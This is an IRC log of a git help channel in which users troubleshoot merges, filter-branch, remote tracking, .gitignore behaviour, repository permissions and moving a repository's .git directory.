_Vi eldragon, I think the information is actually lost. We can only to think how to prevent such things in future.04:06
jmcantrell left04:06
eldragon i simply do many commits, sometimes i back some revisions due the last wrong way, do many commits again, then boomm, the problem.04:07
_Vi eldragon, "boom" is when you "git pull" or "git merge"?04:07
__skyl__ joined04:07
Tricon joined04:08
eldragon i didn't remember the last command04:08
ishanj left04:08
__skyl__ how can I set the current branch (master) to track a remote branch (origin/master)?04:08
tjaway left04:08
eldragon but git rejected me due to conflicts, then my last works did bad.04:08
__skyl__ I just want push/pull to know what I mean without ``$ git pull origin master``04:08
_Vi eldragon, I think if somebody suddenly faces a lot of conflicts, it firstly thing what is wrong and how to do it proper way before actually resolving everything by hand.04:09
bcardarella left04:09
_Vi eldragon, You may, for example, completely resolve all conflicts in one file, then "git add" it.04:09
eldragon, Then resolve all conflicts in second file, "git add" it.04:10
eldragon, When they are added, you may restore them.04:10
eldragon since that git reported me the conflict, i couldn't do something with git until that i had cleaned my last works, but the latter was very long w/o the help of git.04:10
_Vi eldragon, (But if you change file and "git add" it again, the old added version will be restorable, but with problems)04:11
eldragon, Do you want to resolve conflicts, but also to continue normal work?04:11
eldragon, E.g. resolving conflicts, then switching to normal branch and doing normal work, then again resolving some more conflicts?04:12
eldragon _Vi, commiting all the works including the conflicted, and later going to resolve the conflicts that were stored.04:13
pheaver left04:14
pheaver_pheaver04:14
bentob0x left04:14
_Vi eldragon, (BTW you may "git add" conflicted file without actual resolution of conflicts, right with "<<<===>>>" markers)04:14
CaptTofu joined04:15
eldragon instead of commiting half of the non-conflicted works and rejecting the another half that is conflicted and that can't be committed somewhere.04:15
_Vi eldragon, Git will stop considering them as conflicts, and you can manually resolve them (you will search for "<<<" strings).04:15
ultravio1et joined04:15
_Vi eldragon, Again, if you very want to commit the conflicts, you may just mark them all as resolved and commit as is (but not push such thing, of couse).04:16
eldragon _Vi, instead of do it manually, why git can't do it?04:16
_Vi eldragon, What doing manually? "git add ."?04:17
chuck joined04:17
chuck Can I figure out if there are any changes in all branches that need to be pushed?04:17
_Vi chuck, "git status"04:17
chuck I think "git push" is only pushing the current branch, but I'll check again04:17
_Vi, isn't that for the current branch?04:17
_Vi chuck, Yes, it is.04:18
chuck what about across all branches?04:18
jrmuizel joined04:18
jelmer joined04:18
_Vi eldragon, After some "conflict resolution" commits (git will consider them as normal commits actually), you may squash them into single "merge" commit that resolves all conflicts.04:18
chuck, Probably you need some script.04:19
chuck, Why do you need it?04:19
jrmuizel left04:19
eldragon i think that while i'm developing, i should use Hg instead of git until that terminate the project clean of conflicts, and later migrating hg repo to git repo, it's unnecessary, i only need hg repo. Good bye.04:20
chuck _Vi, well, does "git push" push changes that aren't on the current branch assuming the other branches are setup in .git/config to track?04:21
_Vi eldragon, Git implies some things. Sometimes other DVCS are actually better suited for the task. /* Does Mercurial store conflicts well? */04:21
chuck, I think your should configure it explicitly or (better) use longer version of "git push".04:22
Jak_o_Shadows joined04:22
_Vi chuck, "git push origin --all", "git push origin master".04:22
chuck oh, okay04:23
ultraviolet left04:28
munichlinux joined04:29
shtylman left04:29
LiamH left04:35
fishey1 left04:36
cxreg hm, it might be nice to have "--only" or "--unmerged" for log, that gives you commits which exist only on that branch04:36
i know you can do it with a for-each-ref | grep, but it'd be a nice shortcut04:37
daifuku left04:41
spearce left04:41
daifuku joined04:42
killerchicken joined04:45
killerchicken Hey, does anyone know any prominent projects using gitosis/gitolite?04:46
__skyl__ left04:48
JoeConyers left04:51
LRN joined04:52
aresnick left04:54
dandy0299 joined05:00
Twisted_Mentat joined05:01
sanslocust left05:03
sanslocust joined05:06
aspotashev left05:06
tobias__ left05:07
swisherpop left05:08
RaceCondition joined05:08
tekky joined05:08
daifuku left05:10
daifuku joined05:11
swisherpop joined05:11
elliottcable Hey all.05:12
I’ve got some surgery I need to do with filter-branch. I copied a repository to a new location, and am preparing to destruct on it a bit.05:12
Here’s the original: http://github.com/elliottcable/poopy.js/tree/from05:13
_Vi elliottcable, "git filter-branch" creates backup automatically.05:13
elliottcable _Vi: yeah, but I still want the original repository. I’m forking some code *out* of it.05:13
killerchicken having an extra backup is always a good idea anyways :)05:13
elliottcable _Vi: once I’ve completed the surgery on the new repo, I’m going to normally-remove the stuff I filtered out into the new one, and then commit that to the old one05:13
anyway… I simply need to remove any commits that *only* touched ./lib/poopy.js and ./README.markdown; everything else is moving into the new repo05:14
this example from the manpage looks relevant, except that it doesn’t discard all other history as the --subdirectory-filter does05:15
`git filter-branch --index-filter 'git rm --cached --ignore-unmatch filename' HEAD`05:15
_Vi elliottcable, Ask the question.05:16
elliottcable I think that was the question…05:16
_Vi elliottcable, (See no question mark, nowhere to start reading from)05:16
elliottcable … lol05:17
_Vi elliottcable, E.g. "How to do it?" or "Am I doing it right?"05:17
elliottcable, What to do with commits that has touched both your files and other files?05:17
elliottcable remove the modifications to the files I wish to remove from the history05:18
i.e. the new project’s history should start out with *only* the bits that touched the files relevant to the new project05:18
_Vi elliottcable, Do you expect to run some action that can produce conflicts?05:19
elliottcable hrm?05:19
I tried `git filter-branch --index-filter 'git rm --cached --ignore-unmatch README.markdown lib/poopy.js' HEAD`05:19
but comparing the two repos now, it’s odd; I seem to have commits with absolutely no changes attached to them05:19
_Vi elliottcable, Do you want to split repository into two parts?05:19
elliottcable I didn’t even know that was possible d-:05:19
_Vi: the old repo can stay the way it is. I’m simply going to commit `git rm`s of the moved stuff, along with note of the new project05:20
_Vi elliottcable, Commits with no changes? There are probably some option to remove them.05:20
elliottcable _Vi: but I’d prefer if the old, irrelevant stuff weren}t a part of the new repo05:20
_Vi elliottcable, "--prune-empty"?05:20
elliottcable _Vi: to what command? filter-branch manpage doesn’t mention it05:21
ack!05:21
_Vi elliottcable, It does.05:21
elliottcable ignore that, mis-grep05:21
Pupeno joined05:21
Pupeno left05:21
_Vi elliottcable, "git filter-branch --prune-empty --index-filter 'git rm --cached --ignore-unmatch README.markdown lib/poopy.js' HEAD"05:21
kevwil joined05:24
cloudhead left05:24
kevwil left05:25
elliottcable that is *neat*!05:26
thanks again, _Vi, you’re invaluable05:26
jelmer left05:27
EricInBNE is there a way with Egit to bring up the git team console, with a hotkey?05:30
sunaku what is "git team console"?05:31
oh, never mind. EGit == eclipse05:32
EricInBNE yeah, one of the team does not want to use git without eclipse05:32
mithro left05:34
sunaku i think you can bind pretty much anything to shortcuts in eclipse05:34
EricInBNE im not enough of a eclipse wizard to know, but ive looked in what I thought were the standard places05:34
Jak_o_Shadows left05:34
DrAk0 left05:37
mithro joined05:37
bry left05:38
killerchicken How do I find the commit that created a file?05:40
(following renames etc)05:40
_Vi killerchicken, "git log -- path/to/file".05:40
daifuku left05:40
_Vi killerchicken, "git log -M -- path/to/file"?05:41
killerchicken hah05:41
thanks!05:41
daifuku joined05:42
project2501a joined05:43
madewokherd left05:48
killerchicken hrm05:49
-M doesn't seem to be working.05:49
_Vi killerchicken, "-M -M" or "-C -M"?05:49
killerchicken, "-M -C --find-copies-harder"?05:50
killerchicken no dice05:50
yet gitk <first commit of git log output> shows a file rename with similarity index 100%.05:51
_Vi killerchicken, Strange. May be the path for after "--" is not follows renames...05:51
Tricon left05:51
killerchicken hm05:52
I'll try the ml tomorrow, I guess.05:52
good night for now.05:52
_Vi killerchicken, "--follow"?05:52
killerchicken yeah!05:53
works05:53
thanks05:53
sontek joined05:53
sontek Hey, I just setup my server to host a git repository because github charges for private stuff... But when I do a git pull it says "you asked me to pull without telling me which branch you want to merge with"05:54
I never had to do anything like that with my github repos05:54
it just new I wanted the master repo05:54
_Vi sontek, "git push your_remote_name your_local_branch:remote_branch_to_create"05:54
sontek, (Probably "git push origin master:master")05:54
sontek I did this earlier: git push origin maste05:55
and now when I say 'git push' it works fine05:55
just not the git pull05:56
_Vi sontek, Keep on using "git push origin master". Or there is some config option for defaults for push.05:56
sontek wlel my problem isn't with the push, its with the pull05:56
juan_arandaalvar left05:56
sontek well*05:57
_Vi sontek, "git config branch.master.remote origin"05:57
sontek, "git config branch.master.merge master".05:57
sontek Why did I have to do that when I didn't for github?05:58
_Vi sontek, because of you start working with github using "git clone"?05:58
sontek ahh, where this time I created the repo after the fact05:59
that makes sense05:59
thanks :]05:59
schmukkk left06:00
csanz joined06:04
kukks left06:05
sontek left06:08
agile left06:09
erikvold left06:10
erikvold joined06:10
erikvold left06:11
dgarrw left06:13
dgarrw joined06:14
dgarrw left06:14
eldragon left06:14
agile joined06:15
munichpython joined06:16
godsflaw left06:17
munichlinux left06:18
pheaver left06:22
ultraviolet joined06:25
erikvold joined06:27
cenuij left06:33
Jak_o_Shadows joined06:37
cenuij joined06:37
daifuku left06:40
dandy0299 left06:40
ultravio1et left06:40
daifuku joined06:41
munichpython left06:41
schmukkk joined06:44
Rolenun left06:44
Axius joined06:47
schmukkk left06:50
pheaver joined06:54
Rolenun joined06:54
adamm left06:57
pheaver left07:06
pheaver joined07:07
scarabx joined07:26
amerine joined07:27
OtherJakeSays joined07:39
priidu joined07:40
csanz left07:54
mbernstein left07:55
JakeSays left07:57
sudoer left07:57
ultravio1et joined08:01
thiago_home joined08:04
ultraviolet left08:15
manithree left08:20
pheaver left08:24
amerine left08:25
Fissure joined08:26
Modius left08:26
scarabx left08:27
xlistener left08:31
ihoka joined08:33
cenuij left08:34
cenuij joined08:35
Axius_ joined08:38
daifuku left08:39
Twisted_Mentat left08:41
daifuku joined08:41
VVSiz_VVSiz08:42
sis joined08:45
sis left08:47
d0ugal joined08:48
alert3 joined08:52
alert3 left08:54
lmm left08:55
schmukkk joined08:55
dirk2 joined08:55
mcdebugger left08:57
disappearedng Anything out there that allows us to set up a git server which has authentication protection08:58
Tass` disappearedng, sshd?08:58
disappearedng I don't know08:59
is ssh the only option?:08:59
Tass` it's the easiest one08:59
disappearedng ok then08:59
Tass` as ssh auth is fucking easy - just drop some ssh keys ;-)09:00
disappearedng but then I gotta create a new user on my computer09:00
Tass` and there's even a git-shell to only allow git09:00
disappearedng and root him09:00
Tass` root? WTF?09:00
disappearedng and *jail him09:00
mcdebugger joined09:00
pantsman joined09:00
disappearedng typo09:00
i was thinking of chroot him09:01
Tass` just give him a git-only shell09:01
disappearedng huh,09:01
Tass` and I'm fucking sure there's something out there - use goole09:01
Ilari disappearedng: ssh:// is pretty much the only one that works with released versions.09:01
disappearedng: Also, gitolite09:02
Axius_ left09:02
Ilari disappearedng: Well, there's smart HTTP, but authentication sucks and it needs 1.6.6 on both sides.09:02
Axius_ joined09:02
Tass` Ilari, smart HTTP?09:03
Ilari Tass`: Smart transport over HTTP. Solves the performance problems of http fetch and push (but unfortunately not authentication problems).09:05
Tass`: New feature in 1.6.609:05
Tass` sooo why do we need it? ;-)09:05
Ilari Also, hooks don't work properly with smart HTTP. Smart HTTP is lot better than the old one if you are limited to HTTP.09:06
Axius left09:08
segher left09:09
Ilari Not work properly => They execute, but client doesn't get the output of hooks.09:12
Axius_ left09:13
Axius joined09:14
hobodave left09:15
thiago_home which is better than the previous one09:17
in which you couldn't push at all :-)09:17
Tass` how to show the diff between master and the staged files?09:17
thiago_home Tass`: git diff --cached09:17
though that's technically between HEAD and the staged files09:18
ph^_ joined09:18
thiago_home you can't compare the staging area to anything but HEAD and the checkout09:18
maxter joined09:19
Tass` how to pull a branch from github?09:19
xiong joined09:20
[reaVer] joined09:21
Tass` hm.09:23
Ilari 'git diff --cached <commit>'.09:23
Diff of staging area with <commit> as base.09:23
Tass` what's nice for merging conflics? plain vim? :-)09:24
til joined09:24
cehteh no, emacs09:24
alip lolemacs09:25
disappearedng left09:25
agile left09:26
kahmalo cehteh: do you use just C-s <<<<< in that or something more clever?09:26
cehteh hehe09:26
acually i do, but emacs has a diff/merge mode too09:26
jbauman_ left09:26
imajes joined09:26
cehteh well when you want some gui for merging, take a look at meld09:26
d0k joined09:27
kahmalo cehteh: there's ediff and emerge in emacs but it seems to me like those are unable to search for conflict markers, at least I haven't found such a feature09:28
hyperair joined09:29
agile joined09:29
kahmalo oh there's smerge for that, apparently. I'll have to try it out09:30
xiong Tass`, If you like a GUI tool, there is Diffuse (simpler) and Meld (more powerful).09:30
Tass` xiong, not needed.09:32
reaVer left09:33
anno^da joined09:35
Tass` ... great. I've got a merge, deleted some files, and now git tells me fatal: unable to stat 'dota/models/league.rb': No such file or directory09:37
oh, git rm :-)09:38
daifuku left09:39
sgh joined09:39
daifuku joined09:41
brizly joined09:41
robinr joined09:42
p_masho left09:43
ihoka left09:47
ixti joined09:48
nico- joined09:52
priidu left09:53
priidu joined09:54
priidu_ joined09:57
priidu left09:57
gajop joined10:02
r11t left10:02
gajop how can i revert a commit on the remote branch?10:02
if i don't have it on the local branch where i have some changes10:02
ihoka joined10:05
tetha left10:10
tetha joined10:11
Haarg joined10:12
balint joined10:12
Ilari gajop: Only commits in current branch can be reverted.10:13
gajop: Since revert may need to resolve conflicts.10:14
yatiohi joined10:14
d0k_ joined10:17
Axius left10:18
Axius joined10:18
Axius left10:19
d0k left10:24
d0k_d0k10:24
ignorabimus joined10:24
ignorabimus I try to understand the possibilities of github, and fail to make a project/repository-page. Can you tell me what I do wrong?10:26
hgimenez left10:26
ignorabimus The personal page for zenon works: http://zenon.github.com/ but thats a seperate repo.10:27
Zenopus is away10:27
Axius joined10:29
bousquet joined10:29
ignorabimus but the project page http://zenon.github.com/ai_zero doesnt work, even if I made the gh-pages branch.10:29
nico- left10:35
Tass` how to recover a file deleted in an earlier revision?10:36
Ilari Tass`: 'git checkout <revision> -- <file>'.10:37
Tass` Ilari, I don't know the revision :-)10:37
Ilari Tass`: 'git log --diff-filter=D -- <file>' should show the revision that deleted it. The parent of it (use the ^ operator) should contain it.10:39
Axius left10:39
Axius joined10:39
cantoma joined10:39
balint left10:40
Axius left10:40
Tass` thanks ;-)10:40
Axius joined10:41
ultravio1et left10:41
killerchicken_ joined10:42
MrMagic left10:42
ramlev joined10:44
brizly left10:46
brizly joined10:47
RaceCondition left10:48
psoo joined10:49
hyperair left10:49
MrMagic joined10:50
killerchicken left10:52
hyperair joined10:55
maxter left10:56
Jak_o_Shadows left10:58
Scorchin joined10:59
Zephyrus joined11:00
Axius left11:01
jceb joined11:01
JEEB left11:01
khmarbaise joined11:03
NotADJ left11:04
ereslibre left11:04
sgh left11:05
hobodave joined11:05
daifuku left11:06
daifuku joined11:07
ihoka left11:12
\ask joined11:16
becomingGuru joined11:17
hyperair left11:17
greya left11:17
hyperair joined11:18
v0n joined11:19
xiong Please see: http://git.pastebin.com/d58cb081711:19
x-demon left11:19
v0n left11:19
Ilari xiong: IIRC, for A) undoing ignore of directory doesn't work for some reason. For B), 'foo/' only matches directories, not symlinks.11:21
NotADJ joined11:22
xiong Ilari, Then I should say "ignore all contents of old/ except @THISFOLDER" all in one rule? How? And how to ignore symlinks?11:23
ignorabimus left11:23
un0mi left11:23
Ilari xiong: At least putting '!*' to old/@THISFOLDER/.gitignore should work...11:25
NotADJ left11:26
xiong Ilari, @THISFOLDER is a text file; it documents the purpose of its enclosing folder. Perhaps something in old/.gitignore will work.11:27
Ilari xiong: Or just force-add that file.11:27
xiong Ilari, Well, I'd like to avoid having to do stuff manually; I'm likely to forget at some point.11:29
Adding old/.gitignore with !@THISFOLDER didn't work. I'm thinking that I may be overdoing this.11:29
In an actual project, I definitely don't want anything tracked in old/.11:30
What about not tracking symlinks?11:30
TDJACR joined11:32
daifuku left11:34
TDJACR left11:35
daifuku joined11:35
malumalu joined11:36
pgalbraith joined11:37
yatiohi left11:43
CaptTofu left11:47
ramlev left11:50
TDJACR joined11:50
eut joined11:50
eut hello11:50
bremner what is the best way to generate patches to a DOS line-ending (cr lf) file on linux? use --ignore-space-change?11:50
eut i've just committed a series of small changes and realized that i made a typo in one of the earlier ones. i have not pushed anything out yet. is there a way to go back and modify that early commit?11:51
iley joined11:51
bremner eut: git rebase --interactive, choose 'edit'11:52
jtdouy joined11:55
spacebat_ left12:00
Paraselene_ joined12:01
parasti joined12:01
daifuku left12:03
Tommy[D] left12:03
Tommy[D] joined12:04
daifuku joined12:05
gk left12:07
gk joined12:07
maioO left12:08
gunmuc left12:09
bousquet left12:11
gunmuc joined12:12
tbuehlmann joined12:18
jotik joined12:18
H4ns joined12:20
priidu_ left12:23
neoice joined12:23
priidu joined12:23
neoice I'm guessing that since Google hasnt turned up an answer, there's not a good way to clone from Gitweb12:24
vvsh joined12:25
Ilari neoice: ?12:27
neoice the gitweb cgi? there's not a good way to just 'git clone $URL' as far as I can tell12:28
bremner works for me; there might have to be some setup on the http server side12:28
neoice do you have an example command? it could just be 430am and I'm doing something stupid12:29
bremner but gitweb isn't really involved with cloning over http12:29
git clone http://host/path/to/repo12:29
Ilari neoice: Usually there is seperate clone URL and gitweb URL (they can be overlayed; but...) And besides, git:// and ssh:// should be used instead of http://12:29
daifuku left12:30
daifuku joined12:31
jotik^^ left12:32
munichlinux joined12:35
spacebat joined12:35
eut bremner, thanks, got it to work :]12:37
pantsman left12:39
Axius joined12:41
dirk2 left12:41
_Vi left12:42
project2501a left12:43
Axius_ joined12:45
whaley left12:45
whaley joined12:45
Axius_ left12:48
neoice left12:48
Axius_ joined12:49
alip left12:52
xaxes joined12:54
alip joined12:55
Axius_ left12:56
Axius_ joined12:56
kpreid_ left12:57
kpreid_ joined12:57
Axius_ left12:59
Axius_ joined12:59
Axius left13:01
iley left13:02
tekky left13:03
munichpython joined13:04
project2501a joined13:06
hobodave left13:06
nickrw joined13:07
munichlinux left13:07
munichpythonmunichlinux13:07
keex joined13:08
Jaxoreth left13:08
jjuran joined13:08
ereslibre joined13:11
disappearedng joined13:13
bry joined13:13
aliasre joined13:16
anno^da left13:16
[reaVer] left13:17
reaVer joined13:17
stamina_ joined13:18
til left13:19
bremner what is the plumbing way of saying "would this merge do anything?" ?13:20
jas4711 joined13:21
keex left13:23
daifuku left13:27
stamina_ left13:27
wereHamster git merge-base HEAD <commit-ish> == git rev-parse HEAD13:28
stamina_ joined13:28
wereHamster or you can use git log ...<commit-ish>13:28
(three dots!)13:28
daifuku joined13:29
H4ns1 joined13:30
jotik^^ joined13:30
jotik_ joined13:34
__iron joined13:34
project2501a left13:40
disappearedng Can someone tell me what does receive.denyCurrentBranch do?13:44
H4ns left13:45
jotik left13:46
murr4y Setting receive.denycurrentbranch to "ignore" on the server eliminates a warning issued by recent versions of git when you push an update to a checked-out branch on the server. (Thanks to Miklos Vajna for pointing this out.)13:46
wereHamster disappearedng: man git-config13:46
Gitbot disappearedng: the git-config manpage can be found at http://git.or.cz/man/git-config13:46
nico- joined13:46
murr4y or that :)13:47
disappearedng if I do not allow fellow developers to push to master, how do I make that happen?13:47
ereslibre left13:47
Boriskr joined13:47
zoniq joined13:49
nico- left13:49
wereHamster how to make what happen?13:49
nico- joined13:50
disappearedng ok I realize that's what I want to do13:50
nico- left13:50
jotik^^ left13:50
disappearedng let say I turn that to on, and then I push my commits to a new branch with git push origin localbranch:foreignnewbranch13:51
then how do I get my repos to rebase foreignnewbranch to master?13:51
icwiener joined13:51
wereHamster git checkout localbranch; git rebase master ?13:53
ferdy left13:53
maattd_ joined13:53
nico- joined13:53
nico- left13:53
disappearedng that's only when you are on the master right?13:53
wereHamster doesn't quite understand what disappearedng wants to do13:53
disappearedng ok let me show you13:53
A has the repos, B is where I am on now, While on B, I did a git commit origin mybranch:branch_to_be_merged13:54
then while still being on B, how do I tell A to merge branch_to_be_merged to A's master?13:54
ferdy joined13:54
wereHamster what is A? a computer?13:55
gebi disappearedng: denying access to part of an repo is covered with the update-paranoid hook from contrib/ section13:55
LiamH joined13:56
daifuku left13:57
nico- joined13:58
Bass10 joined13:58
nico- left13:58
daifuku joined13:59
Bass10 left13:59
Bass10 joined14:00
maattd left14:02
maattd_maattd14:02
nico- joined14:04
munichpython joined14:05
munichlinux left14:05
munichpythonmunichlinux14:05
malumalu left14:07
malumalu joined14:08
cloudhead joined14:09
nico- left14:14
Chillance left14:14
psoo left14:16
jast disappearedng: you can only merge things locally and in a checked out branch unless it's a fast-forward merge14:16
there is no way to force other repositories to merge/rebase a certain branch14:17
ecwNick joined14:19
candybar left14:20
nickrw left14:21
ecwNicknickrw14:21
jceb left14:21
disappearedng jast: then how do I ensure that my repos is always up to date14:22
ramlev joined14:22
disappearedng as in when other developers do a git pull how do they know there's another branch14:22
Zephyrus left14:22
bremner wereHamster: thanks, I missed your response at first. Too many projects going on at once :)14:28
corni joined14:28
cedricv left14:29
jotik_ left14:29
auslander joined14:29
munichlinux left14:30
rgr how to show las14:39
oops. How to show files committed in last commit?14:40
LoRe rgr: git log --stat -114:43
parasti or git show --stat14:43
H4ns1 left14:43
drizzd git diff --name-only HEAD HEAD^14:43
rgr crikey. thanks. Was trying "git show #"14:43
cloudhead left14:48
Zephyrus joined14:54
stamina_ left14:55
dajero joined14:56
daifuku left14:58
daifuku joined14:59
dajero left15:02
project2501a joined15:03
reprore joined15:03
d-snp if I accidentily chmod -R my git repo containing folder, is there a way to restore it?15:04
rgr using emacs for a couple of years now, and still I cant install it by hand and get info files working. same story every bloody time. why why is the info system so damn convoluted? I know the infopath is pointing at the right place.15:04
selckin d-snp: git doesn't store premissions15:05
_rane what?15:05
d-snp selckin: ok, so it's just a matter of finding the right permissions and adding them again?15:05
is there anything in a git repo that has special permissions?15:05
selckin d-snp: don't think so no15:06
d-snp hmm15:06
killerchicken_ d-snp: chmod -R u+rw path/to/repo15:09
that should do it.15:09
project2501b joined15:10
selckin that strongly depends on what he changed them too15:10
killerchicken_ selckin: How so? That should at least restore a working git dir, no?15:11
selckin killerchicken_: what about: chmod -R 600 .git; find -type d -exec chmod +x {} \;15:11
killerchicken_ ah, heh. of course.15:12
project2501a left15:13
douilspee left15:13
d-snp :P15:14
qknight i've downloaded a very very old commit and adapted it (since i wanted to look at some gui stuff which is now done fundamentally different) however i would like to commit this back to the tree to have a place to look at (gui wise it would be helpful). so using a 'branche' would be the way to go?15:14
selckin can just branch off the old commit, and commit on top of that sure15:15
d-snp thanks guys, now I don't know why one of my users gets:15:17
fatal: object c583fba4310fdfefb9085ed82c9eac56a1e084c9 is corrupted15:17
the permissions all look ok15:18
hgimenez joined15:18
bentob0x joined15:18
auslander left15:20
jotik joined15:20
qknight selckin: thanks15:20
aziz joined15:21
cbreak maybe that object is corrupted?15:22
does git fsck say something?15:23
can you compare it's hash with that of an other one in an other repository?15:23
rgr left15:24
ruediger joined15:24
d-snp it says something about dangling commits15:26
but nothing about corrupted things15:26
not the same object either15:26
Axius joined15:28
t0rc joined15:29
daifuku left15:29
daifuku joined15:31
disappearedng left15:32
segher joined15:35
flaguy48 joined15:35
segher left15:36
segher joined15:37
Axius_ left15:41
Axius_ joined15:41
gebi_ joined15:42
Axius left15:42
gebi left15:47
xiong I don't see anything in git-mv that allows me to change the location of .git/ itself.15:48
Alagar joined15:48
Pieter xiong: look at .gitlinks15:49
project2501a joined15:49
jailbox left15:50
xiong Pieter, That's difficult to search for; Google thinks I want links about git.15:50
Pieter grep for it in the git documentation perhaps?15:51
rettub left15:51
xiong I'm forced to admit that I'm less than expert at grep. But I'll try harder.15:51
Pieter I'm not sure it's called gitlink anyway15:52
:)15:52
xiong runs screaming from the Bundestag waving a lit Molotov cocktail15:53
S1kx left15:53
S1kx joined15:53
nickrw left15:53
rettub joined15:54
project2501b left15:55
r11t joined15:57
charon xiong: see read_gitfile_gently() in <HEAD:setup.c>15:58
Gitbot [git setup.c]: http://tinyurl.com/yjvq7pp [blob]15:58
xiong looks15:59
charon at a glance, it seems you can make .git a regular file containing 'gitdir: $path' and it will look in $path instead15:59
b44ebb116:00
Gitbot [git b44ebb1]: http://tinyurl.com/ygm2mng -- Add platform-independent .git "symlink"16:00
charon hands Gitbot a cookie16:00
Axius_ left16:01
Axius joined16:01
xiong charon, I know I'm admitting ignorance, possibly even noobiness, but I can't make heads or tails of that. I'm not sure how my current task relates to symlinks at all. It's just that I originally created my repo below where I want it to be; I want to move the repo up to its current parent.16:02
project2501a left16:02
xiong Ah! I see now. I don't move the current repo. I create a new repo in the parent and pull from the existing. Yes?16:05
|Rolenun| joined16:05
kukks joined16:06
madewokherd joined16:06
Akufen joined16:07
Aku joined16:07
Akufen left16:08
Aku left16:08
Akufen joined16:10
Ilari temporarily revokes his pubkey from local gits:// server...16:10
jast xiong: that won't fix the structure of the snapshots in the history for you. you want to start tracking changes in the parent directory too, right?16:12
Rolenun left16:12
Axius_ joined16:13
Axius left16:14
xiong jast, Yes. I didn't understand .gitignore, so I needlessly complicated my entire project folder structure to avoid tracking some items.16:14
I have created a new repo in the parent. Now I plan to pull from the old repo.16:15
jfkw joined16:16
jast as I said, that will not do what you think it does16:17
it will simply pull all the files from the subdir into the main dir16:18
xiong This will not work at all; you're right.16:18
EricInBNE left16:18
jast you'll want to use git filter-branch first, but I can only make random guesses about how exactly to filter it16:19
xiong Hmm. Since git doesn't care where it is, relative to the file system root, would it be reasonable simply to move the current repo *up* to where I want it to be, and move other folders *down* into it?16:19
Chaser_ joined16:20
Axius joined16:21
jast if that ends up being a suitable structure for you, you can do that. at any rate, everything that is in the repo's history right now has to be in exactly the same position relative to the .git dir as before, otherwise you're setting yourself up for annoyances.16:21
becomingGuru left16:21
jefferai left16:22
lfranchi left16:22
samcarter joined16:23
divVerent is it possible to just ATTEMPT a git-revert but not write any changes?16:24
xiong jast, I'm starting to think that I should just admit that I've done a noob thing, backed my pickup into a narrow alley, and start over. It's not too late. I'll consider this a learning experience.16:24
divVerent (basically, I want to use git-bisect to find the latest revision from which I can revert a given hash without conflicts)16:24
gebi_ left16:24
divVerent (as I possibly want to revert that commit too then, basically)16:24
jast divVerent: git revert -n performs the reverse changes in the working tree/index but does not commit them, so you can undo them with a simple git reset --hard (provided that you don't have any other uncommitted changes lying around)16:25
ilteris_ left16:25
charon xiong: i don't understand what you want to do... i merely looked up what i thought Pieter meant.16:25
divVerent jast: am I allowed to do that from within a git-bisect command?16:25
jast xiong: if you don't have any exciting history yet, that might indeed be the simplest way to go16:25
divVerent: I don't see why not16:25
divVerent well, it changes the working tree16:25
charon xiong: do you simply mean you created a repo in a/b/ and want a/* to be part of it, too? (i.e., the current contents go under b/)16:26
divVerent so doing that is allowed from within bisect16:26
jast and then undoes those changes :)16:26
divVerent and... what if conflicts happen?16:26
git-revert then tries to go interactive16:26
obviously I don't want that here16:26
oh wait, sorry, that was wrong16:27
jast yeah, I was a bit confused there :)16:28
ronron2 joined16:29
ronron2 hi16:29
I use git + ssh16:29
offby1 hi!16:29
I use Emacs and Linux.16:29
offby1 shakes ronron2's hand, slaps him on the back, and offers him a sandwich16:29
xiong charon, My current structure is ~/projects/sfid/work/.git/ (where sfid is the project); that was dumb. I want to eliminate the work/ folder entirely, so the new structure will be ~/projects/sfid/.git/ and all stuff formerly under work/ will be directly under sfid/16:29
ronron2 And I would like the 'author' is a user unix16:30
divVerent and I take it git-bisect shows the first buggy commit?16:30
okay, in that case I know what I wanted to know, but don't like it :P16:30
charon xiong: oh. but you have to understand that git only cares about the location of your files relative to the location of the .git16:30
divVerent it means a commit LOTS of stuff depends on depends on the one I want to revert16:30
so, reverting will be a chore16:30
charon xiong: so if you move sfid/work/* to sfid/, git will see that the files are still in the same place *relatively*16:31
xiong I think I can do this in two steps: (1) Move all the stuff currently in sfid/ to sfid/work/; then (2) shuffle work/ up to sfid/16:31
charon xiong: where by * i mean "everything". do note that the shells usually expand * to exclude the .git16:31
offby1 charon: they do?16:31
charon offby1: at least bash excludes dot-files in *16:31
unless you shopt -o dotglob16:31
or some such16:31
offby1 yes.16:31
when I want _everything_, I use "find . -mindepth 1 -maxdepth 1"16:32
pretty verbose, I know16:32
xiong I'll watch to see all the dotfiles/dotfolders move16:32
Axius_ left16:32
keseldude joined16:33
|Rolenun|Rolenun16:36
sagsousuke joined16:37
ronron2 I looking for change author commit, there a documents16:37
?.16:37
yziquel joined16:37
divVerent hm... doing this using bisect is still not easy...16:37
what is the easiest way to revert a change, and all dependent changes, in the past?16:37
charon ronron2: look for user.{email,name} in man git-config16:37
divVerent sounds somewhat similar to rebase16:37
Gitbot ronron2: the git-config manpage can be found at http://git.or.cz/man/git-config16:37
divVerent as in, I want to leave out that commit, then apply all that apply cleanly, and skip all that don't16:37
ronron2 ok Gitbot :)16:38
divVerent (and DON'T want to get tossed into a merge tool)16:38
Alagar good morning all16:38
any one can help me?16:38
i need to migrate SVN to git. is any manuals for that?16:38
Tureba joined16:39
keseldude Hi, I'm having a hard time figuring out the Right Way to deal with settings and "experimental" files in a project in a git repository: Using .gitignore seems to remove untracked files in certain situations, so is it best to create a branch called "private" and put settings and private stuff there, and then merge (or rebase?) private with master when you want to run the project locally?16:39
ronron2 charon the User.email,name on the serveur Is ok16:39
offby1 Alagar: read the man page for git-svn16:39
RobertLaptop I am not sure how to do something. I have really diverged from a master repo most of it is formating I copied my master to a new branch to be safe but I would like to pull a fresh copy from the master and only apply need changes in a since start over how do I tell GIT to replace not merge my current branch with what is on a remote repo?16:39
charon ronron2: it's not about the server. the author/committer info is determined at 'git commit' time16:39
offby1 Alagar: I suspect there might be other ways to migrate, and git-svn is pretty slow, but on the other hand, I use it literally every day and trust it16:39
ronron2 charon: I have a user who is Tralala, I don't know16:41
iamcalledrob joined16:42
Alagar left16:43
iamcalledrob I'm using git to deploy a site (heroku), and when I push to the heroku repos, I seem to be pushing an old version of my code. I'm getting errors from files that don't exist anymore. The process I'm going through is "git add .; git commit -m "foo"; git push heroku master". Am I doing something wrong?16:43
rgr joined16:44
charon ronron2: he needs to set user.{email,name} correctly in his ~/.gitconfig (see man gittutorial!). as for fixing later, you can use git-filter-branch but it's probably a mess if you're collaborating.16:44
Gitbot ronron2: the gittutorial manpage can be found at http://git.or.cz/man/gittutorial16:44
